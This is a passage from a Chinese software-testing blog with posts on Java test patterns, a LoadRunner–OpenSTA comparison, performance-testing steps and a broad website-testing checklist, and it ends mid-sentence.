灿烂的阳光,苦涩的生活,认真做,你能行!

发布新日志

  • JAVA测试模式

    2009-05-15 15:34:10

    测试模式是一种针对软件测试领域的某种高频率出现问题而采取并经过实践证明行之有效的专门化、高效的解决途径(方法),它在软件理论和实践两者之间起着 “ 桥梁 ” 的作用。在面向对象语言 JAVA 程序测试的过程中,一个较为棘手的问题就是 JAVA 类的可视性问题。 “ 信息隐蔽 ” 固然是面向对象语言设计的一个突出的优点,但是同时也给测试带来诸多不便,有关 “ 隐蔽信息 ” 的可测试性成为这类测试的一大突出结症。为此我们针对 JAVA 类不同的 “ 可视性 ” 要求的场合,采取相应的测试模式来支撑相关 JAVA 类(包)的测试。本文主要总结五个常用的 JAVA 测试模式,以飨读者。这五个模式同样适合于其它面向对象类(包)的测试,只不过在具体细节上要考虑与 JAVA 语言信息隐蔽性的差异。比如: JAVA 的可视性以包为界,同一个包内的类对其他类具有相同的存取权限。而 C++ 则以类为界,只有子类和友员函数方可对基类的隐蔽信息进行存取。

    我们在下面以图表的方式给出 五个常用 JAVA 测试模式详细描述,有关模式的描述类目分别是模式名称、测试对象、针对问题、约束条件、解决方法、实例、约束解决方式和该测试的设计原理。

    模式(一) Main 模式

    模式名称

    Main

    测试对象

    JAVA 类

    针对问题

    测试人员不知道在何处编写驱动和初始化被测试类的测试代码

    约束

    测试必须容易运行、测试代码能够访问该类所有的特征(所有的属性和方法)

    解决方法

    将测试代码放入类的 public static void main(String[] args) 方法中去

    实例

    public static void main(String[] args){

    SomeClass result;

    // perform. the test…

    System.out.print(“result is..”);

    }

    约束解决

    该测试代码能够率先被激活和执行、并能够访问被测试类所有的特征

    设计原理

    JAVA 类可以拥有 public static void main(String[] args) 方法,它是类在 JVM 中被率先执行的方法,控制着整个类的执行逻辑, main 方法能够访问所在类的所有属性和方法

    模式(二) toString 模式

    模式名称

    toString

    测试对象

    作为运算结果的类

    针对问题

    测试人员不知道如何检验一个运算对象的中间结果和最终结果

    约束

    测试结果代表对象内部的一个状态,而该状态必须能够被测试

    解决方法

    通过使用 toString 方法来对类状态进行描述,描述结果可以通过打印与预期结果进行比较

    实例

    class SomeClass {

    //…

    public String toString(){

    // custom representation

    }

    }

    约束解决

    类的内部状态通过字符串来进行表示因而得以解决

    设计原理

    在基类定义的 toString() 方法能够提供特定对象的状态的描述,通过将对象状态描述进行打印和显示来判定对象状态是否与预期相符

    模式(三) Equal 模式

    模式名称

    Equal

    测试对象

    JAVA 类

    针对问题

    作为运算结果的类

    约束

    测试人员不知道如何检验一个运算对象的中间结果和最终结果

    解决方法

    定义 equals 方法比较实际结果与预期结果进行比较

    实例

    class SomeClass {

    //…

    public boolean equals(Object o){

    // custom comparison

    }

    }

    约束解决

    保持某个状态的对象需要与预期对象进行比较,通过比较后的布尔值来确定是否与预期结果相符合

    设计原理

    在基类定义的 public boolean equals(Object) 能够对比对象间的差异并以布尔值形式返回比较结果

    模式(四) Internal Tester Class 模式

    模式名称

    Internal Tester Class

    测试对象

    JAVA 包

    针对问题

    测试人员不知在何处编写测试代码测试包中的类

    约束

    测试代码与运行代码必须分开来,测试代码能够访问到类的所有特性,测试代码起到的是一个包的客户端的角色。

    解决方法

    新建一个类并将该类的包路径与被测试类的包路径相同,然后在该类里写入所有的测试代码

    实例

    package theOne;

    public class InternalTestClass {

    //…

    }

    约束解决

    所有的测试代码均与运行代码分离,由于它与运行代码在同一包路径下,所以它与普通的客户端相比具有更多的可视性

    设计原理

    将测试代码定义在一个特定的类中。由于测试类与运行类在同一个包路径下,因此它能访问测试类的类的所有特性。因此,它远比客户端测试具有更大的可视性。

    模式(五) Extern Tester Class 模式

    模式名称

    Extern Tester Class 模式

    测试对象

    JAVA 包

    针对问题

    测试人员不知在何处编写测试代码测试包中的类

    约束

    测试代码与运行代码必须分开来,测试代码能够访问到类的可视特征,测试代码起到的是一个包的客户端的角色。

    解决方法

    新建一个类,指定与被测试类不同的包路径,然后在该类里写入所有的测试代码

    实例

    package anotherOne;

    public class ExternalTestClass {

    //…

    }

    约束解决

    所有的测试代码均与运行代码分离,由于它与运行代码在不同的包路径下,所以它与普通的客户端的可视性相同

    设计原理

    将测试代码定义在一个特定的类中。由于测试类与运行类不在同一个包路径下,因此它不能访问测试类的所有属性和方法。但是它与客户端具有相同的可视性。因此,它可以替代客户端进行测试。

    上面五个模式的作用关系如图-1所示:

     

    图-1 JAVA 测试模式图解

    了解上述所述的模式有助于测试人员在具体 JAVA 代码测试中编写测试类,同时上述的这些 JAVA 测试模式还可以借助 JUnit 这样的测试框架来实现。

    注:本文根据 Marco Torchiano 的《 Patterns for Java Program Testing 》删减改编而成

  • 测试工具LoadRunner和OpenSTA比较分析

    2009-05-15 15:07:08

    MILY: 宋体">项目

    描述

    LoadRunner

    OpenSTA

    协议

    测试工具可以捕捉、处理及回放通信协议

    支持多种协议。按照协议数量收费,支持多种协议录制功能。

    仅支持HTTP 1.0 / 1.1 / HTTPS (SSL)

    回放功能

    回放脚本及脚本调试工具

    扩展的记录功能支持参数和服务器信息的浏览,还可浏览及比较已录制网页版本与客户端返回的信息,脚本生成器包括了调试工具、支持断点调试和单步跟踪。

    类似的回放功能但没有综合比较功能。有调试功能,包括控制器、断点设定和单步跟踪。

    脚本语言

    窗体顶端

    使用中间介质来代表被捕获的协议数据和操作回放数据窗体底端

     

    称为TSL,使用标准C语言语法而且允许添加C函数库,对工具支持的不同协议有广泛的定制功能。

    使用专有的类似“BASIC”语言的自动化脚本语言SCL。在已有的功能上有些限制例如字符串操作、支持文档对象模型(DOM直接处理。

    扩展性

    工具功能性扩展

    附加的TSL或者C函数库 受限与工具的功能性。

    SCL脚本模块可以定义到Include文件里,开源使得功能可以用C++进行扩展。

    脚本界面

    编辑脚本的应用程序工具的界面

    多种捕捉模式 支持高级的文本浏览和低级的HTTP浏览,并且支持图形化的树形结构和脚本浏览方式,脚本浏览方式支持功能区分入口。

    低级的HTTP浏览并且提供图形树表示的DOM结构。可视化的被捕获的HTML渲染与寻址服务器头表。有语言敏感、语法颜色凸显的编程功能。

    相关性

    从动态数据中替换数值从而能够成功回放的任务。

    自动关联功能,包括在录制中录制后比较录制与重放效果。但是不支持所有的模式捕获。

    手动关联使用互动的DOM架构。自动生成脚本代码的功能用来辅助变量代换。

    Cookie 管理

    HTTP cookies的检测、录制和回放,并需要额外的代码来管理javascript生成的cookies

    HTTP头存根自动管理如果需要可以手动操纵。

    HTTP头存根自动管理如果需要可以手动操纵。

    参数化

    自动地调整动态数据参数从而更准确模拟真实用户。往往是对话(session)管理所必须的

    可扩充的数据输入接口包括数据库查询的向导界面。没有标准的函数来锁定数据源保持分布式测试中被并发访问数据的唯一性。

    可扩充的数据输入接口包括自动生成测试数据的向导界面。标准功能包括了对数据文件的顺序、随机、伪随机访问。分布式测试中,有标准的通用函数来维护单个或多个负载注入器(injector)的参数的唯一性。

    控制器

    管理和实施测试

    实时监控功能。情景自动生成。对虚拟用户、脚本、脚本组的单独控制。脚本的运行安排,执行进度显示及循环控制

    实时监控功能。简单拖放多情景测试配置支持模块化脚本并允许在在运行时加入新的情景/虚拟用户。没有情景自动生成。允许在多用户负载测试过程中对整个测试或者特定用户进行http监测和调试。

    监控

    在执行期间捕获资源使用信息,包括显示并用于建立性能测试报告。

    支持多种模式。 支持在线图形显示、Apache/Netscape/IIS其他监视器需另外支付费用。新的机制允许远程用户通过浏览器界面实时监控结果。注意:通过防火墙监控需要制定TCP/IP端口。未来版本的LoadRunner应使用HTTP消息避免此类问题。

    支持Windows NT/2000中集成的性能图形显示以及SNMP信息收集。各种测试信息包括虚拟用户状特性、自定义状态和活动信息。 基于Web的监视器可以穿过防火墙运行在远程机器上。 执行过程中的联机图形以及监视结果会用于最后的报告。

    分布式测试

    把压力生成分布到多个产生压力的机器的能力

    支持由单一控制器管理多个负载生成器。

    支持由单一控制器管理多个负载生成器。同一网络使用TCP/IP或基于WebHTTP远程控制负载生成器。

    虚拟IP地址

    模拟不同IP地址访问系统的能力。尤其对负载平衡系统非常有用

    支持虚拟IP包括IP转发时的路由自动更新。

    没有嵌入虚拟IP功能。

    广域网/局域网仿真

    在测试中模拟不同网络结构的能力

    7.6版本新加入的功能。允许在局域网测试时仿真延时、丢包、连接故障及动态路由效果。需要专门的许可证书。

    没有嵌入广域网/局域网仿真功能。

    缓存

    模拟网络浏览器缓存页面的能力

    可以控制浏览器回放时的缓存仿真以及每个虚拟用户的设置。

    没有特别的功能虽然可以效仿简单的脚本代码。

    用户网速模拟

    模拟真实用户不同网络速度的能力

    可以回放时仿真不同的网络速度

    没有嵌入模拟真实用户不同网络速度的功能

    分布式/远程压力生成

    为了产生大量负载需要额外的负载生成器,并需要集中控制

    可以控制多个负载生成器及收集结果。使用HTTP端口可穿过防火墙控制远程的负载发生器。

    可以控制多个负载生成器及收集结果。使用HTTP端口可穿过防火墙控制远程的负载发生器.

    报告&分析

    检查和分析测试的结果,包括定时器、监控的资源和以图形方式显示的结果。

    大范围的混合式图表功能——Word中自动生成报告。分析器可以作为单独的应用程序分发给用户

    简单的图表足够分析统计负载有关的关键数据和资源使用情况资源使用的显示支持覆盖图,可以输出到 Excel无许可证限制,任何用户都可以浏览数据 免费的工具和Excel宏都可透过公共用户论坛获取。

    可量测性

    工具生成多少虚拟用户及相应的资源使用的能力。 实际可利用资源取决于数量、规模和脚本的复杂度。

    资源的限制主要是线程数量及内存大小。在NT/2K操作系统上每个虚拟用户会占到1 Mb内存。 Windows 95 98 & Unix的效率更低些。每台PC的最大虚拟用户数大约为1500

    主要使用的资源是内存。在一个单核P4处理器及Windows 2k上测试一个简单的ASP页面如果达到3000用户的负载需要1GB内存。 未经证实的报告说明Win2k机器上对于复杂的脚本最多可以支持1664个虚拟用户。可能有线程限制。没有许可证书限制。

    初始成本

    购买软机及证书的费用不包括升级或支持。

    没有虚拟用户的软件基本价为16000美元。额外的费用是通过每种协议、监控资源和虚拟用户来收取。

    免费并可以通过www.OpenSTA.org下载。可供下载的有: 先前版本; 自动安装包和当前源代码(附有MS C++ Visual Studio 6简单build指令)

    虚拟用户成本

    大多数商业工具按照虚拟用户的数量收费。额外的硬件也需要额外费用。

    价格范围大:虚拟用户的费用从2510000美元到100066000美元。临时的虚拟用户大约是每天3.50美元(1000分钟) 这不是正式的报价。

    免费,无许可证书限制

    技术支持 & 专家咨询

    该工具支持的可用服务和费用。

    根据M.I. 此项费用每年大约为初始成本的1/5 包括升级。 MI和其合伙公司还提供咨询服务(包括etest协会)  

    众多的独立资源。 Etest协会对每次远程技术支持收取美元50,也提供收费的专家咨询。网上资源包括网页和电子邮件论坛。升级是免费的(大约每3-6个月)

    培训

    工具的培训服务

  • 性能测试步骤

    2009-04-23 13:47:40

    在每种不同的系统架构的实施中,开发人员可能选择不同的实现方式,造成实际情况纷繁复杂。我们不可能对每种技术都详细解说,这里只是介绍一种方法提供给你如何选择测试策略,从而帮助分析软件不同部分的性能指标,进而分析出整体架构的性能指标和性能瓶颈。

         由于工程和项目的不同,所选用的度量,评估方法也有不同之处。不过仍然有一些通用的步骤帮助我们完成一个性能测试项目。步骤如下

    1.    制定目标和分析系统
    2
     选择测试度量的方法
    3
     学习的相关技术和工具
    4
     制定评估标准
    5
     测试环境建立

    6. 设计测试用例

    7. 运行测试用例

    8. 分析测试结果

    ·制定目标和分析系统

       每一个性能测试计划中第一步都会制定目标和分析系统构成。只有明确目标和了解系统构成才会澄清测试范围,知道在测试中要掌握什么样的技术。   

    目标:

    1 确定客户需求和期望

    2 实际业务需求

    3 系统需求

    系统组成

       系统组成这里包含几方面含义:系统类别,系统构成,系统功能等。了解这些内容的本质其实是帮助我们明确测试的范围,选者适当的测试方法来进行测试。

       系统类别:分清系统类别是我们掌握什么样的技术的前提,掌握相应技术做性能测试才可能成功。例如:系统类别是bs结构,需要掌握http协议,javahtml等技术。或者是cs结构,可能要了解操作系统winsockcom等。所以甄别系统类别对于我们来说很重要。

       系统构成:硬件设置,操作系统设置是性能测试的制约条件,一般性能测试都是利用测试工具模仿大量的实际用户操作,系统在超负荷情形下运作。不同的系统构成性能测试就会得到不同的结果。

       系统功能:系统功能指系统提供的不同子系统,办公管理系统中的公文子系统,会议子系统等,系统工能是性能测试中要模拟的环节,了解这些是必要的。

    ·选择测试度量的方法

    经过第一步,将会对系统有清醒的认识。接下来我们将把精力放在软件度量上,收集系统相关的数据。

    度量的相关方面:

    *制定规范

    *制定相关流程,角色,职责

    *制定改进策略

    *制定结果对比标准

    ·学习的相关技术和工具

         性能测试是通过工具,模拟大量用户操作,对系统增加负载。所以需要掌握一定的工具知识才能进行性能测试。大家都知道性能测试工具一般通过winsock,http等协议纪录用户操作。而协议选择是基于软件的系统架构实现(web一般选择http协议,cs选择winsock协议),不同的性能测试工具,脚本语言也不同,比如rational robotvu脚本用类c语言实现。

         开展性能测试需要对各种性能测试工具进行评估,因为每一种性能测试工具都有自身的特点,只有经过工具评估,才能选择符合现有软件架构的性能测试工具。确定测试工具后,需要组织测试人员进行工具的学习,培训相关技术。

    ·制定评估标准

            任何测试的目的都是确保软件符合预先规定的目标和要求。性能测试也不例外。所以必须制定一套标准。

         通常性能测试有四种模型技术可用于评估:

             *线性投射:用大量的过去的,扩展的或者将来可能发生的数据组成散布图,利用这个图表不断和系统的当前状况对比。

             *分析模型:用排队论公式和算法预测响应时间,利用描述工作量的数据和系统本质关联起来

             *模仿:模仿实际用户的使用方法测试你的系统

             *基准:定义测试和你最初的测试作为标准,利用它和所有后来进行的测试结果进行对比

     测试环境建立

    1 整个测试环境系统的安装;

    2 Web层系统的部署;

    3 App层服务的安装;

    4 DB数据库的备份和还原;

    5 整个系统部署安装完成后,需要对系统功能进行测试检查(可以围绕着测试范围来进行)

     设计测试用例

       设计测试用例是在了解软件业务流程的基础上。设计测试用例的原则是受最小的影响提供最多的测试信息,设计测试用例的目标是一次尽可能的包含多个测试要素。这些测试用例必须是测试工具可以实现的,不同的测试场景将测试不同的功能。因为性能测试不同于平时的测试用例,尽可能把性能测试用例设计的复杂,才有可能发现软件的性能瓶颈。

       1测试数据生成

    对于数据生成的方法,我主要是编写SQL语句来完成,另外还可以使用一些辅助工具,例如:DataFactory

    大数据量的生成,要注意SQL语句的有效性,尽量减少数据生成时所需要的时间;另外在数据生成过程中,可以进行脚本的准备。

    注意:在数据生成之前,要考虑数据库文件的数量,因为数据文件均匀分布对整个性能测试结果很有影响,这是我们的血泪经验。

     

     2测试脚本准备

    根据不同的测试工具,编写脚本的方式不一样,但是其流程大致是一样的:

    录制〉回放〉一些数据的参数化、添加一些验证条件〉回放

    注意:参数化数据的随机性会影响性能测试结果;

     运行测试用例

      1预测试

    测试相关工作准备完成后,我们可以开始预测试了;

    预测试的目的主要是优化和调整系统;它是一个反复迭代的过程;

    2.性能优化和调整

    性能优化和调整是整个性能测试工作的核心和关键;

    主要根据测试过程中所得到的系统计数器值来判断系统瓶颈所在,这里需要一些经验;我对性能优化和调整的认识主要如下:

    1 Web层,主要在于对IIS的优化;对于基于.NET FramewoekWeb站点,还可以修改相关的参数来进行优化;

    2 App层,目前我们的系统都是在功能完成后才对系统进行性能测试的;所以我们对代码的优化工作机会为零,这是一个遗憾,但也是整个性能优化和调整的一大部分工作所在。

    3 DB层,数据库层的性能优化是我们整个性能优化的核心,我们主要围绕着索引和存储过程来展开;这是一个相当漫长的一个过程,需要我们有耐心和毅力。

     

      3正式测试

    当预测试结果达到测试需求后,我们可以进行正式测试了;如果时间允许,我们可以进行进一步的性能优化和调整工作;但是实际上很多时候,我们没有这样的机会。

     通过性能测试工具运行测试用例。同一环境下作的性能测试得到的测试结果是不准确的,所以在运行这些测试用例的时候,需要用不同的测试环境,不同的机器配置上运行。

     

       ·分析测试结果

         运行测试用例后,收集相关信息,进行数据统计分析,找到性能瓶颈。通过排除误差和其他因素,让测试结果体现接近真实情况。不同的体系结构分析测试结果的方法也不同,bs结构我们会分析网络带宽,流量对用户操作响应的影响,而cs结构我们可能更关心会系统整体配置对用户操作的影响。

  • 软件测试中的网站测试技术要领

    2009-04-21 16:09:15

    软件缺陷的原则
    •   软件缺陷区别于软件bug,它是在测试过程中出现的对系统有影响的,但是在设计中没有的或者对修改后的bug测试和开发人员有不同意见等
    •   软件未达到产品说明书标明的功能。
    •   软件出现了产品说明书指明不会出现的错误。
    •   软件功能超出产品说明书指明范围。
    •   软件未达到产品说明书虽未指出但应达到的目标。
    •   软件测试员认为软件难以理解、不易使用、运行速度缓慢,或者最终用户认为不好。

      测试的主要方面:

      一、功能测试

      对于网站的测试而言,每一个独立的功能模块需要单独的测试用例的设计导出,主要依据为《需求规格说明书》及《详细设计说明书》,对于应用程序模块需要设计者提供基本路径测试法的测试用例。

      1、链接测试

      链接是Web应用系统的一个主要特征,它是在页面之间切换和指导用户去一些不知道地址的页面的主要手段。链接测试可分为三个方面:

      1)测试所有链接是否按指示的那样确实链接到了该链接的页面;

      2)测试所链接的页面是否存在;

      3)保证Web应用系统上没有孤立的页面,所谓孤立页面是指没有链接指向该页面,只有知道正确的URL地址才能访问。

      链接测试可以自动进行,现在已经有许多工具可以采用。链接测试必须在集成测试阶段完成,也就是说,在整个Web应用系统的所有页面开发完成之后进行链接测试。

      Xenu------主要测试链接的正确性的工具

      可惜的是对于动态生成的页面的测试会出现一些错误。

      2、表单测试

      当用户给Web应用系统管理员提交信息时,就需要使用表单操作,例如用户注册、登陆、信息提交等。在这种情况下,我们必须测试提交操作的完整性,以校验提交给服务器的信息的正确性。例如:用户填写的出生日期与职业是否恰当,填写的所属省份与所在城市是否匹配等。如果使用了默认值,还要检验默认值的正确性。如果表单只能接受指定的某些值,则也要进行测试。例如:只能接受某些字符,测试时可以跳过这些字符,看系统是否会报错。

      要测试这些程序,需要验证服务器能正确保存这些数据,而且后台运行的程序能正确解释和使用这些信息。

      B/S结构实现的功能可能主要的就在这里,提交数据,处理数据等如果有固定的操作流程可以考虑自动化测试工具的录制功能,编写可重复使用的脚本代码,可以在测试、回归测试时运行以便减轻测试人员工作量。

      我们对UM子系统中各个功能模块中的各项功能进行逐一的测试,主要测试方法为:边界值测试、等价类测试,以及异常类测试。测试中要保证每种类型都有2个以上的典型数值的输入,以确保测试输入的全面性。

      3、Cookies测试

      Cookies通常用来存储用户信息和用户在某应用系统的操作,当一个用户使用Cookies访问了某一个应用系统时,Web服务器将发送关于用户的信息,把该信息以Cookies的形式存储在客户端计算机上,这可用来创建动态和自定义页面或者存储登陆等信息。

      如果Web应用系统使用了Cookies,就必须检查Cookies是否能正常工作而且对这些信息已经加密。测试的内容可包括Cookies是否起作用,是否按预定的时间进行保存,刷新对Cookies有什么影响等。

      4、设计语言测试

      Web设计语言版本的差异可以引起客户端或服务器端严重的问题,例如使用哪种版本的HTML等。当在分布式环境中开发时,开发人员都不在一起,这个问题就显得尤为重要。除了HTML的版本问题外,不同的脚本语言,例如Java、Javascrīpt、 ActiveX、VBscrīpt或Perl等也要进行验证。

      5、数据库测试

      在Web应用技术中,数据库起着重要的作用,数据库为Web应用系统的管理、运行、查询和实现用户对数据存储的请求等提供空间。在Web应用中,最常用的数据库类型是关系型数据库,可以使用SQL对信息进行处理。

      在使用了数据库的Web应用系统中,一般情况下,可能发生两种错误,分别是数据一致性错误和输出错误。数据一致性错误主要是由于用户提交的表单信息不正确而造成的,而输出错误主要是由于网络速度或程序设计问题等引起的,针对这两种情况,可分别进行测试。



    二、性能测试

      网站的性能测试对于网站的运行而言异常重要,但是目前对于网站的性能测试做的不够,我们在进行系统设计时也没有一个很好的基准可以参考,因而建立网站的性能测试的一整套的测试方案将是至关重要的。

      网站的性能测试主要从三个方面进行:连接速度测试、负荷测试(Load)和压力测试(Stress),

      连接速度测试指的是打开网页的响应速度测试。负荷测试指的是进行一些边界数据的测试,压力测试更像是恶意测试,压力测试倾向应该是致使整个系统崩溃。

      1、连接速度测试

      用户连接到Web应用系统的速度根据上网方式的变化而变化,他们或许是电话拨号,或是宽带上网。当下载一个程序时,用户可以等较长的时间,但如果仅仅访问一个页面就不会这样。如果Web系统响应时间太长(例如超过5秒钟),用户就会因没有耐心等待而离开。

      另外,有些页面有超时的限制,如果响应速度太慢,用户可能还没来得及浏览内容,就需要重新登陆了。而且,连接速度太慢,还可能引起数据丢失,使用户得不到真实的页面。

      2、负载测试

      负载测试是为了测量Web系统在某一负载级别上的性能,以保证Web系统在需求范围内能正常工作。负载级别可以是某个时刻同时访问Web系统的用户数量,也可以是在线数据处理的数量。例如:Web应用系统能允许多少个用户同时在线?如果超过了这个数量,会出现什么现象?Web应用系统能否处理大量用户对同一个页面的请求?

      3、压力测试

      负载测试应该安排在Web系统发布以后,在实际的网络环境中进行测试。因为一个企业内部员工,特别是项目组人员总是有限的,而一个Web系统能同时处理的请求数量将远远超出这个限度,所以,只有放在Internet上,接受负载测试,其结果才是正确可信的。

      进行压力测试是指实际破坏一个Web应用系统,测试系统的反映。压力测试是测试系统的限制和故障恢复能力,也就是测试Web应用系统会不会崩溃,在什么情况下会崩溃。黑客常常提供错误的数据负载,直到Web应用系统崩溃,接着当系统重新启动时获得存取权。

      压力测试的区域包括表单、登陆和其他信息传输页面等。

      采用的测试工具:

      性能测试可以采用相应的工具进行自动化测试,我们目前采用如下工具

      ab -----Apache 的测试工具

      OpenSTA—开发系统测试架构


    、接口测试

      在很多情况下,web 站点不是孤立。Web 站点可能会与外部服务器通讯,请求数据、

      验证数据或提交订单。

      1、 服务器接口

      第一个需要测试的接口是浏览器与服务器的接口。测试人员提交事务,然后查看服务器

      记录,并验证在浏览器上看到的正好是服务器上发生的。测试人员还可以查询数据库,确认事务数据已正确保存。

      2、 外部接口

      有些 web 系统有外部接口。例如,网上商店可能要实时验证信用卡数据以减少欺诈行

      为的发生。测试的时候,要使用 web 接口发送一些事务数据,分别对有效信用卡、无效信用卡和被盗信用卡进行验证。如果商店只使用 Visa 卡和 Mastercard 卡, 可以尝试使用 Discover 卡的数据。(简单的客户端脚本能够在提交事务之前对代码进行识别,例如 3 表示 American Express,4 表示 Visa,5 表示 Mastercard,6 代表Discover。)通常,测试人员需要确认软件能够处理外部服务器返回的所有可能的消息。

      3、错误处理

      最容易被测试人员忽略的地方是接口错误处理。通常我们试图确认系统能够处理所有错

      误,但却无法预期系统所有可能的错误。尝试在处理过程中中断事务,看看会发生什么情况?

      订单是否完成?尝试中断用户到服务器的网络连接。尝试中断 web 服务器到信用卡验证服

      务器的连接。在这些情况下,系统能否正确处理这些错误?是否已对信用卡进行收费?如果

      用户自己中断事务处理,在订单已保存而用户没有返回网站确认的时候,需要由客户代表致

      电用户进行订单确认。

    四、可用性测试

      可用性/易用性方面目前我们只能采用手工测试的方法进行评判,而且缺乏一个很好的评判基准进行,此一方面需要大家共同讨论。

      1、导航测试

      导航描述了用户在一个页面内操作的方式,在不同的用户接口控制之间,例如按钮、对话框、列表和窗口等;或在不同的连接页面之间。通过考虑下列问题,可以决定一个Web应用系统是否易于导航:导航是否直观?Web系统的主要部分是否可通过主页存取?Web系统是否需要站点地图、搜索引擎或其他的导航帮助?

      在一个页面上放太多的信息往往起到与预期相反的效果。Web应用系统的用户趋向于目的驱动,很快地扫描一个Web应用系统,看是否有满足自己需要的信息,如果没有,就会很快地离开。很少有用户愿意花时间去熟悉Web应用系统的结构,因此,Web应用系统导航帮助要尽可能地准确。

      导航的另一个重要方面是Web应用系统的页面结构、导航、菜单、连接的风格是否一致。确保用户凭直觉就知道Web应用系统里面是否还有内容,内容在什么地方。

      Web应用系统的层次一旦决定,就要着手测试用户导航功能,让最终用户参与这种测试,效果将更加明显。

      2、图形测试

      在Web应用系统中,适当的图片和动画既能起到广告宣传的作用,又能起到美化页面的功能。一个Web应用系统的图形可以包括图片、动画、边框、颜色、字体、背景、按钮等。图形测试的内容有:

      (1)要确保图形有明确的用途,图片或动画不要胡乱地堆在一起,以免浪费传输时间。Web应用系统的图片尺寸要尽量地小,并且要能清楚地说明某件事情,一般都链接到某个具体的页面。

      (2)验证所有页面字体的风格是否一致。

      (3)背景颜色应该与字体颜色和前景颜色相搭配。

      (4)图片的大小和质量也是一个很重要的因素,一般采用JPG或GIF压缩。

      3、内容测试

      内容测试用来检验Web应用系统提供信息的正确性、准确性和相关性。

      信息的正确性是指信息是可靠的还是误传的。例如,在商品价格列表中,错误的价格可能引起财政问题甚至导致法律纠纷;信息的准确性是指是否有语法或拼写错误。这种测试通常使用一些文字处理软件来进行,例如使用Microsoft Word的"拼音与语法检查"功能;信息的相关性是指是否在当前页面可以找到与当前浏览信息相关的信息列表或入口,也就是一般Web站点中的所谓"相关文章列表"。

      4、整体界面测试

      整体界面是指整个Web应用系统的页面结构设计,是给用户的一个整体感。例如:当用户浏览Web应用系统时是否感到舒适,是否凭直觉就知道要找的信息在什么地方?整个Web应用系统的设计风格是否一致?

      对整体界面的测试过程,其实是一个对最终用户进行调查的过程。一般Web应用系统采取在主页上做一个调查问卷的形式,来得到最终用户的反馈信息。

      对所有的可用性测试来说,都需要有外部人员(与Web应用系统开发没有联系或联系很少的人员)的参与,最好是最终用户的参与。



    五、兼容性测试

      需要验证应用程序可以在用户使用的机器上运行。如果您用户是全球范围的,需要测试各种操作系统、浏览器、视频设置和 modem 速度。最后,还要尝试各种设置的组合。

      1、平台测试

      市场上有很多不同的操作系统类型,最常见的有Windows、Unix、Macintosh、Linux等。Web应用系统的最终用户究竟使用哪一种操作系统,取决于用户系统的配置。这样,就可能会发生兼容性问题,同一个应用可能在某些操作系统下能正常运行,但在另外的操作系统下可能会运行失败。

      因此,在Web系统发布之前,需要在各种操作系统下对Web系统进行兼容性测试。

      2、浏览器测试

      浏览器是Web客户端最核心的构件,来自不同厂商的浏览器对Java,、Javascrīpt、 ActiveX、 plug-ins或不同的HTML规格有不同的支持。例如,ActiveX是Microsoft的产品,是为Internet Explorer而设计的,Javascrīpt是Netscape的产品,Java是Sun的产品等等。另外,框架和层次结构风格在不同的浏览器中也有不同的显示,甚至根本不显示。不同的浏览器对安全性和Java的设置也不一样。

      测试浏览器兼容性的一个方法是创建一个兼容性矩阵。在这个矩阵中,测试不同厂商、不同版本的浏览器对某些构件和设置的适应性。

      采用测试工具:

      通过白盒测试或者黑盒测试导出的测试用例,采用相应的工具进行测试,可以采用OpenSTA进行测试,此测试工具可以采用不同的浏览器进行测试。

      3.视频测试

      页面版式在 640x400、600x800 或 1024x768 的分辨率模式下是否显示正常? 字体是否太小以至于无法浏览? 或者是太大? 文本和图片是否对齐?

      4.Modem/连接速率测试

      是否有这种情况,用户使用 28.8 modem下载一个页面需要 10 分钟,但测试人员在测

      试的时候使用的是 T1 专线? 用户在下载文章或演示的时候,可能会等待比较长的时间,

      但却不会耐心等待首页的出现。最后,需要确认图片不会太大。

      5、打印机测试

      用户可能会将网页打印下来。因此网页在设计的时候要考虑到打印问题,注意节约纸张和油墨。有不少用户喜欢阅读而不是盯着屏幕,因此需要验证网页打印是否正常。有时在屏幕上显示的图片和文本的对齐方式可能与打印出来的东西不一样。测试人员至少需要验证订单确认页面打印是正常的。

      6、组合测试

      最后需要进行组合测试。600x800 的分辨率在 MAC 机上可能不错,但是在 IBM 兼容

      机上却很难看。在 IBM 机器上使用 Netscape 能正常显示,但却无法使用 Lynx 来浏览。

      如果是内部使用的 web 站点,测试可能会轻松一些。如果公司指定使用某个类型的浏览器,

      那么只需在该浏览器上进行测试。如果所有的人都使用 T1 专线,可能不需要测试下载施加。

      (但需要注意的是,可能会有员工从家里拨号进入系统) 有些内部应用程序,开发部门可能

      在系统需求中声明不支持某些系统而只支持一些那些已设置的系统。但是,理想的情况是,

      系统能在所有机器上运行,这样就不会限制将来的发展和变动。



    六、安全测试

      Web应用系统的安全性测试区域主要有:

      1、 目录设置

      Web 安全的第一步就是正确设置目录。每个目录下应该有 index.html 或 main.html 页

      面,这样就不会显示该目录下的所有内容。如果没有执行这条规则。那么选中一幅图片,单击鼠标右键,找到该图片所在的路径"… com/objects/images"。然后在浏览器地址栏中手工输入该路径,发现该站点所有图片的列表。这可能没什么关系。但是进入下一级目录 "…com/objects" ,点击 jackpot。在该目录下有很多资料,其中有些都是已过期页面。如果该公司每个月都要更改产品价格信息,并且保存过期页面。那么只要翻看了一下这些记录,就可以估计他们的边际利润以及他们为了争取一个合同还有多大的降价空间。如果某个客户在谈判之前查看了这些信息,他们在谈判桌上肯定处于上风。

      2.登录

      现在的Web应用系统基本采用先注册,后登陆的方式。因此,必须测试有效和无效的用户名和密码,要注意到是否大小写敏感,可以试多少次的限制,是否可以不登陆而直接浏览某个页面等。

      3.Session

      Web应用系统是否有超时的限制,也就是说,用户登陆后在一定时间内(例如15分钟)没有点击任何页面,是否需要重新登陆才能正常使用。

      4.日志文件

      为了保证Web应用系统的安全性,日志文件是至关重要的。需要测试相关信息是否写进了日志文件、是否可追踪。

      5.加密

      当使用了安全套接字时,还要测试加密是否正确,检查信息的完整性。

      6.安全漏洞

      服务器端的脚本常常构成安全漏洞,这些漏洞又常常被黑客利用。所以,还要测试没有经过授权,就不能在服务器端放置和编辑脚本的问题。

      目前网络安全问题日益重要,特别对于有交互信息的网站及进行电子商务活动的网站尤其重要。目前我们的测试没有涵盖网站的安全性的测试,我们拟定采用工具来测定,

      工具如下

      SAINT------- Security Administrator’s Integrated Network Tool

      此工具能够测出网站系统的相应的安全问题,并且能够给出安全漏洞的解决方案,不过是一些较为常见的漏洞解决方案。

    七、代码合法性测试

      代码合法性测试主要包括2个部分:程序代码合法性检查与显示代码合法性检查。

      1、程序代码合法性检查

      程序代码合法性检查主要标准为《intergrp小组编程规范》,目前采用由SCM管理员进行规范的检查,未来期望能够有相应的工具进行测试。

      2、显示代码合法性检查

      显示代码的合法性检查,主要分为Html、Javascrīpt、Css代码检查,目前采用

